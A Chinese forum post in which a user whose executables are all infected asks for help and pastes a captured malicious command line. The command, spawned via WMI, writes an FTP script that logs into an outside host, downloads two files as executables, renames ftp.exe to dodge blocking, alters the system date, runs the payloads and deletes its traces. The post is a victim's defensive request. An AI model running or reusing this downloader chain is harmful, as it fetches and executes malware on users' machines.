【求助】有人能解决吗【求助】
电脑中毒EXE文件全部感染无一例外。全格后重装SSM目前截获下面的运行命令,本人认为此批处理命令是到指定的网页下载病毒。(即为下载器)在卡卡日志里我看不出什么不妥所以诚请高手不惜帮助,本人已经被此毒折磨的疲惫不堪了 谢谢大侠们
父级进程:
路径: C:\WINNT\system32\wbem\winmgmt.exe
PID: 756
信息: Windows Management Instrumentation (Microsoft Corporation)
子级进程:
路径: C:\WINNT\system32\CMD.EXE
信息: Windows NT Command Processor (Microsoft Corporation)
命令行:cmd /c ECHO OPEN www.maipiaoba.cn>%windir%\help.dll&cmd /c ECHO tthh>>%windir%\help.dll&cmd /c ECHO get crr.ini in.exe>>%windir%\help.dll&cmd /c ECHO get crt.ini goox.exe>>%windir%\help.dll&cmd /c ECHO bye>>%windir%\help.dll&cmd /c ECHO set a=%date%>%windir%\BEGIN.BAT&cmd /c ECHO date=2099-01-01>>%windir%\BEGIN.BAT&cmd /c ECHO if exist %systemroot%\system32\dllcache\ftp.exe ren %systemroot%\system32\dllcache\ftp.exe sft.exe>>%windir%\BEGIN.BAT&cmd /c ECHO if exist %systemroot%\system32\ftp.exe ren %systemroot%\system32\ftp.exe sft.exe>>%windir%\BEGIN.BAT&cmd /c ECHO sft.exe -s:%windir%\help.dll>>%windir%\BEGIN.BAT&cmd /c ECHO if not exist in.exe ftp -s:%windir%\help.dll>>%windir%\BEGIN.BAT&cmd /c ECHO in.exe>>%windir%\BEGIN.BAT&cmd /c ECHO in.exe>>%windir%\BEGIN.BAT&cmd /c ECHO date=%a%>>%windir%\BEGIN.BAT&cmd /c ECHO :end>>%windir%\BEGIN.BAT&cmd /c ECHO del %windir%\help.dll>>%windir%\BEGIN.BAT&cmd /c ECHO del %windir%\BEGIN.BAT>>%windir%\BEGIN.BAT&cmd /c ECHO exit>>%windir%\BEGIN.BAT&cmd /c %windir%\BEGIN.BAT
[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)